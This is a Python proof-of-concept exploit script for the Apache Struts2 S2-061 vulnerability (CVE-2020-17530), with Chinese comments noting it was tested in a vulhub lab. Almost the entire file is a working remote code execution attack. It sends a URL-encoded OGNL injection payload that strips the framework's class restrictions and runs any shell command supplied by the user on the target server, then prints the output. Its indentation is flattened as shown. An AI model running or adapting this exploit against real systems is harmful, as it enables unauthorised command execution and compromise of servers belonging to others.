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struts2-061-poc.py
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struts2-061-poc.py
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# encoding=utf-8
import requests
import sys
from lxml import etree
# 环境是vulhub的S2-059环境修改的,针对这个环境访问 http://192.168.0.107:8080/?id=payload才行,不知道怎样才能通用
# 本脚本使用方法用例:python S2-061.py http://1.1.1.1:8081 whoami
# 好像适用vulhub更新的struts2-061环境
def exp(url,cmd):
#payload需要经url编码,不能直接拼接在地址后
payload="%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27"+cmd+"%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d"
tturl=url+"/?id="+payload
r=requests.get(tturl)
page=r.text
# etree=html.etree
page=etree.HTML(page)
data = page.xpath('//a[@id]/@id')
print(data[0])
if __name__=='__main__':
print('+------------------------------------------------------------+')
print('+ PoC: python struts2-061-poc.py http://1.1.1.1:8081 id +')
print('+ VER: Struts 2.0.0-2.5.25 +')
print('+------------------------------------------------------------+')
print('+ S2-061 RCE && CVE-2020-17530 +')
print('+------------------------------------------------------------+')
if len(sys.argv)!=3:
print("[+]ussage: http://ip:port command")
print("[+]============================================================")
sys.exit()
url=sys.argv[1]
cmd=sys.argv[2]
exp(url,cmd)